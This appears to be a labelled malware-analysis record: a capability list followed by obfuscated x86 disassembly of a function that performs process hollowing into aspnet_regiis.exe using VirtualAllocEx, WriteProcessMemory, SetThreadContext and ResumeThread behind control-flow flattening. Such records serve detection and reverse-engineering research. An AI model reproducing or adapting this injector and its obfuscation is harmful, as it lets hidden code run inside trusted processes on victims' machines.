Function at 0x10003120
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x104
mov eax, dword [0x1006b000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10c], 0x325f705f
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x110], eax
sub eax, 0x81f0cde4
je 0x100081d8
jmp 0x1000315c
mov eax, dword [ebp - 0x110]
sub eax, 0x82b58e42
je 0x10007522
jmp 0x10003172
mov eax, dword [ebp - 0x110]
sub eax, 0x82cfffd4
je 0x100076de
jmp 0x10003188
mov eax, dword [ebp - 0x110]
sub eax, 0x83fbe170
je 0x10006a59
jmp 0x1000319e
mov eax, dword [ebp - 0x110]
sub eax, 0x84bedb10
je 0x1000ac0d
jmp 0x100031b4
mov eax, dword [ebp - 0x110]
sub eax, 0x863061d9
je 0x1000885f
jmp 0x100031ca
mov eax, dword [ebp - 0x110]
sub eax, 0x867f6ad9
je 0x1000b79c
jmp 0x100031e0
mov eax, dword [ebp - 0x110]
sub eax, 0x8734a222
je 0x10005fce
jmp 0x100031f6
mov eax, dword [ebp - 0x110]
sub eax, 0x87daca27
je 0x1000b536
jmp 0x1000320c
mov eax, dword [ebp - 0x110]
sub eax, 0x8907e308
je 0x1000adc6
jmp 0x10003222
mov eax, dword [ebp - 0x110]
sub eax, 0x893fe50a
je 0x1000b344
jmp 0x10003238
mov eax, dword [ebp - 0x110]
sub eax, 0x8949aa50
je 0x10007199
jmp 0x1000324e
mov eax, dword [ebp - 0x110]
sub eax, 0x894b1dc2
je 0x1000b40d
jmp 0x10003264
mov eax, dword [ebp - 0x110]
sub eax, 0x89548a1f
je 0x1000ad9d
jmp 0x1000327a
mov eax, dword [ebp - 0x110]
sub eax, 0x8a7566df
je 0x10006692
jmp 0x10003290
mov eax, dword [ebp - 0x110]
sub eax, 0x8aadfc85
je 0x10007754
jmp 0x100032a6
mov eax, dword [ebp - 0x110]
sub eax, 0x8acd29a4
je 0x10009fdd
jmp 0x100032bc
mov eax, dword [ebp - 0x110]
sub eax, 0x8cb44209
je 0x100074f2
jmp 0x100032d2
mov eax, dword [ebp - 0x110]
sub eax, 0x8d164e1c
je 0x1000a4d3
jmp 0x100032e8
mov eax, dword [ebp - 0x110]
sub eax, 0x8e7e093a
je 0x10005e5e
jmp 0x100032fe
mov eax, dword [ebp - 0x110]
sub eax, 0x8ef7cd83
je 0x10009d81
jmp 0x10003314
mov eax, dword [ebp - 0x110]
sub eax, 0x8f3f0ffc
je 0x1000b5a9
jmp 0x1000332a
mov eax, dword [ebp - 0x110]
sub eax, 0x8f73375b
je 0x10006232
jmp 0x10003340
mov eax, dword [ebp - 0x110]
sub eax, 0x8f8668c0
je 0x100064a2
jmp 0x10003356
mov eax, dword [ebp - 0x110]
sub eax, 0x9044a255
je 0x10009949
jmp 0x1000336c
mov eax, dword [ebp - 0x110]
sub eax, 0x91ea874a
je 0x10008fe9
jmp 0x10003382
mov eax, dword [ebp - 0x110]
sub eax, 0x9332eacb
je 0x10007f7a
jmp 0x10003398
mov eax, dword [ebp - 0x110]
sub eax, 0x9355c1a6
je 0x10006039
jmp 0x100033ae
mov eax, dword [ebp - 0x110]
sub eax, 0x939cde9a
je 0x1000a482
jmp 0x100033c4
mov eax, dword [ebp - 0x110]
sub eax, 0x944e60a3
je 0x10005afe
jmp 0x100033da
mov eax, dword [ebp - 0x110]
sub eax, 0x952a0d00
je 0x1000b4c4
jmp 0x100033f0
mov eax, dword [ebp - 0x110]
sub eax, 0x95765e33
je 0x10008aa2
jmp 0x10003406
mov eax, dword [ebp - 0x110]
sub eax, 0x96d7ab7b
je 0x1000a901
jmp 0x1000341c
mov eax, dword [ebp - 0x110]
sub eax, 0x9789bdcf
je 0x1000862a
jmp 0x10003432
mov eax, dword [ebp - 0x110]
sub eax, 0x983ac622
je 0x10009ad7
jmp 0x10003448
mov eax, dword [ebp - 0x110]
sub eax, 0x98c007b5
je 0x1000a7dc
jmp 0x1000345e
mov eax, dword [ebp - 0x110]
sub eax, 0x9909e8b1
je 0x10006dee
jmp 0x10003474
mov eax, dword [ebp - 0x110]
sub eax, 0x99f2484b
je 0x10009689
jmp 0x1000348a
mov eax, dword [ebp - 0x110]
sub eax, 0x9a10b112
je 0x10008427
jmp 0x100034a0
mov eax, dword [ebp - 0x110]
sub eax, 0x9a7b22d9
je 0x100099bf
jmp 0x100034b6
mov eax, dword [ebp - 0x110]
sub eax, 0x9ae6a78e
je 0x1000624f
jmp 0x100034cc
mov eax, dword [ebp - 0x110]
sub eax, 0x9b30b66d
je 0x10006c8a
jmp 0x100034e2
mov eax, dword [ebp - 0x110]
sub eax, 0x9b86b688
je 0x1000735c
jmp 0x100034f8
mov eax, dword [ebp - 0x110]
sub eax, 0x9b88d756
je 0x10007b86
jmp 0x1000350e
mov eax, dword [ebp - 0x110]
sub eax, 0x9c88470c
je 0x10007b77
jmp 0x10003524
mov eax, dword [ebp - 0x110]
sub eax, 0x9d2f45ce
je 0x10006143
jmp 0x1000353a
mov eax, dword [ebp - 0x110]
sub eax, 0x9e9a450e
je 0x100095de
jmp 0x10003550
mov eax, dword [ebp - 0x110]
sub eax, 0x9f0e63b8
je 0x10007efa
jmp 0x10003566
mov eax, dword [ebp - 0x110]
sub eax, 0xa018e5fe
je 0x1000690b
jmp 0x1000357c
mov eax, dword [ebp - 0x110]
sub eax, 0xa07ead7e
je 0x1000b230
jmp 0x10003592
mov eax, dword [ebp - 0x110]
sub eax, 0xa08eeda6
je 0x100060b6
jmp 0x100035a8
mov eax, dword [ebp - 0x110]
sub eax, 0xa103bc1e
je 0x1000b119
jmp 0x100035be
mov eax, dword [ebp - 0x110]
sub eax, 0xa14d1571
je 0x10005fdd
jmp 0x100035d4
mov eax, dword [ebp - 0x110]
sub eax, 0xa212091a
je 0x1000a5f6
jmp 0x100035ea
mov eax, dword [ebp - 0x110]
sub eax, 0xa2aa8bf5
je 0x1000afae
jmp 0x10003600
mov eax, dword [ebp - 0x110]
sub eax, 0xa3723441
je 0x10005cac
jmp 0x10003616
mov eax, dword [ebp - 0x110]
sub eax, 0xa4870047
je 0x1000acd5
jmp 0x1000362c
mov eax, dword [ebp - 0x110]
sub eax, 0xa49a0348
je 0x10008b77
jmp 0x10003642
mov eax, dword [ebp - 0x110]
sub eax, 0xa6191494
je 0x10006c36
jmp 0x10003658
mov eax, dword [ebp - 0x110]
sub eax, 0xa8068bd7
je 0x1000b4f4
jmp 0x1000366e
mov eax, dword [ebp - 0x110]
sub eax, 0xa8419de6
je 0x10008343
jmp 0x10003684
mov eax, dword [ebp - 0x110]
sub eax, 0xa868f066
je 0x100070f5
jmp 0x1000369a
mov eax, dword [ebp - 0x110]
sub eax, 0xa90666d3
je 0x1000af7e
jmp 0x100036b0
mov eax, dword [ebp - 0x110]
sub eax, 0xa9e0bd62
je 0x1000a3ec
jmp 0x100036c6
mov eax, dword [ebp - 0x110]
sub eax, 0xa9fed6d0
je 0x10008e08
movss xmm0, dword [0x1001839c]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x10018398]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x10c], 0xe6e81a75
jmp 0x1000b8cf
mov dl, 1
mov eax, 0x6998d007
mov ecx, 0x6d92b0d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0xadcc5b0a
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0xa14d1571
jmp 0x1000b8cf
movss xmm0, dword [0x10018378]
movss dword [ebp - 0x108], xmm0
mov dl, 1
mov eax, 0x4e7f2418
mov ecx, 0x6a61617b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0x4e7f2418
jmp 0x1000b8cf
movss xmm0, dword [0x10018224]
movss dword [ebp - 0x108], xmm0
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
sub edx, 0xb4b324a7
sub edx, 1
add edx, 0xb4b324a7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbfb20087
mov ecx, 0xcbbb76e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
movss xmm0, dword [0x1001836c]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x10c], 0x2427ab52
jmp 0x1000b8cf
mov dl, 1
mov eax, 0x11b7be3d
mov ecx, 0x9ae6a78e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
movss xmm0, dword [0x10018364]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x10018360]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x10c], 0xfb0df0cd
jmp 0x1000b8cf
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
add edx, 0x23b33061
sub edx, 1
sub edx, 0x23b33061
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6d16ab6e
mov ecx, 0x5ef199c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
add edx, 0xd1aa2a17
sub edx, 1
sub edx, 0xd1aa2a17
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa103bc1e
mov ecx, 0x2affe7e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0xf1b1708
jmp 0x1000b8cf
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018334]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x424c39
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0xf17fc3a3
jmp 0x1000b8cf
mov dl, 1
mov eax, 0x6d9b0495
mov ecx, 0x7a576519
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov dl, 1
mov eax, 0x2b3f79e4
mov ecx, 0x3063735b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa07ead7e
mov ecx, 0xf355a0a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0xed104cfa
jmp 0x1000b8cf
mov dl, 1
mov eax, 0xb3455052
mov ecx, 0xfe35e956
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0xb32ff723
jmp 0x1000b8cf
mov dl, 1
mov eax, 0x6e491081
mov ecx, 0x3874c082
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
sub edx, 0x813d42c8
sub edx, 1
add edx, 0x813d42c8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x66048e12
mov ecx, 0x8aadfc85
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x66048e12
mov ecx, 0xe11bc9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0x9b88d756
jmp 0x1000b8cf
mov dl, 1
mov eax, 0x4db5e837
mov ecx, 0x55e59815
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov dl, 1
mov eax, 0xd80b9a1
mov ecx, 0xbf52584e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov dl, 1
mov eax, 0x40399bd2
mov ecx, 0xcc661080
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0x7b33f9ec
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0xe95af3e0
jmp 0x1000b8cf
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100181b4]
movss dword [eax], xmm0
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
add edx, 0x3a3f44aa
sub edx, 1
sub edx, 0x3a3f44aa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x894b1dc2
mov ecx, 0x3d739a25
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
sub edx, 0xf44f3aa6
sub edx, 1
add edx, 0xf44f3aa6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xadbef0f2
mov ecx, 0x19c8d9d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100181a8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100181a4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100181a0]
movss dword [eax], xmm0
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf5b58887
mov ecx, 0xe4a50210
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
sub edx, 0xc62a5949
sub edx, 1
add edx, 0xc62a5949
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x952a0d00
mov ecx, 0x79606c10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
sub edx, 0x48921813
sub edx, 1
add edx, 0x48921813
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe7a49945
mov ecx, 0xd9b0d18c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0xde7872b
jmp 0x1000b8cf
mov eax, dword [ebp - 0xcc]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x10c], 0xdbec025c
jmp 0x1000b8cf
mov dl, byte [ebp - 0x82]
mov eax, 0xee6adf9e
mov ecx, 0xcb8090
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
sub edx, 0x37d4a2bc
sub edx, 1
add edx, 0x37d4a2bc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x729c9c4d
mov ecx, 0x9a7b22d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov eax, dword [ebp - 0x80]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xd8]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0x79], al
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
add edx, 0x8d1ef56f
sub edx, 1
sub edx, 0x8d1ef56f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x729c9c4d
mov ecx, 0x1301b086
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x78], eax
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
add edx, 0x7f5aa7b1
sub edx, 1
sub edx, 0x7f5aa7b1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x262aa985
mov ecx, 0x1ddb8961
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x10c], 0x36bfdccc
jmp 0x1000b8cf
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
add edx, 0xffb1cf8c
sub edx, 1
sub edx, 0xffb1cf8c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x867f6ad9
mov ecx, 0xad2992ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov eax, dword [ebp - 0xc0]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x49], al
mov dword [ebp - 0x10c], 0xb498bc50
jmp 0x1000b8cf
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
sub edx, 0x5da0ad8c
sub edx, 1
add edx, 0x5da0ad8c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfe58fdcd
mov ecx, 0x8d164e1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov dl, byte [ebp - 0x49]
mov eax, 0xfb551444
mov ecx, 0xb7ae291f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0xecb1b885
jmp 0x1000b8cf
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10c], 0x7af0a41
jmp 0x1000b8cf
mov ax, word [ebp - 0x2e]
movzx edx, ax
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0xdbe3ab5f
or edx, ecx
or eax, 0xdbe3ab5f
xor edx, 0xffffffff
and edx, eax
mov eax, 0xebee97b9
mov ecx, 0xeb60442
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x98]
mov dword [eax], ecx
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
sub edx, 0x49e9718b
sub edx, 1
add edx, 0x49e9718b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb5030883
mov ecx, 0x1d13bd21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5df75c8b
mov ecx, 0x7e99da7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0xfb551444
jmp 0x1000b8cf
mov ecx, dword [ebp - 0x18]
add ecx, 0x55c19d5
add ecx, 8
sub ecx, 0x55c19d5
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
sub ecx, 0x97c35642
add ecx, eax
add ecx, 0x97c35642
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x10c], 0x5899b57c
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0x7877f27e
jmp 0x1000b8cf
movss xmm0, dword [0x1001823c]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x10c], 0x517dd3b0
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0x8a7566df
jmp 0x1000b8cf
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100181ec]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xf355a0a5
jmp 0x1000b8cf
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100181d0]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x35e5b136
jmp 0x1000b8cf
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100181b4]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x9a10b112
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0x95765e33
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0x7294e102
jmp 0x1000b8cf
mov dword [ebp - 0x10c], 0x37472911
jmp 0x1000b8cf
mov eax, dword [ebp - 0xd8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000cab0
add esp, 0xc
mov eax, dword [ebp - 0xd4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000cab0
add esp, 0xc
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x10c], 0x1cc45eda
jmp 0x1000b8cf
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x10c], 0xad2992ce
jmp 0x1000b8cf
jmp 0x10003140